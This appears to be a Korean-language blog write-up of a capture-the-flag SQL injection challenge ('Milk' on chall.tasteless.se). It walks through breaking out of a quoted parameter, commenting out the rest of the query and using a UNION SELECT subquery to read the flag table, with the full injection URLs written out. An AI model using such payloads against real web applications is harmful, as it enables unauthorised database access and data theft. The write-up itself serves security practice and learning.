webhacking/sql, sql injection

chall.tasteless.se Milk

qkqhxla1 2014. 11. 21. 12:42

Capture the flag! hint: table level2_flag column flag

No Bsqli!!



라는 힌트와 함께 그림이 있다. 주소창이


http://chall.tasteless.se/level2/index.php?req=f 이므로 mysql이라 가정하고 f%23등으로 뒤를 주석


으로 막았더니 그림이 나오질 않는다. 그림이 안나오면 에러처리되는것 같고,


f'%23으로 해보면 되는것으로 보아 쿼터로 둘러쌓여있음을 알 수 있다.


힌트에 Bsqli하지말라고 했으므로 그냥 값이 딱 나오는 sqli일 것이다. 


union으로 값을 넣어봤더니. http://chall.tasteless.se/level2/index.php?req=f%27%20union%20select%201,2,3%23 


처럼 3까지 넣었을때 맨 아래 살짝 3이 출력된다. 그러면 서브쿼리를 이용해서


http://chall.tasteless.se/level2/index.php?req=f%27%20union%20select%201,2,(select%20flag%20from%20level2_flag)%23


이렇게 값을 넣었더니 flag가 출력된다.

'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 27, 29  (0) 2014.11.30
chall.tasteless.se Stop Quotes  (0) 2014.11.21
suninatas level 23  (0) 2014.10.30
suninatas level 6  (0) 2014.10.30
webhacking.kr 22  (0) 2014.10.23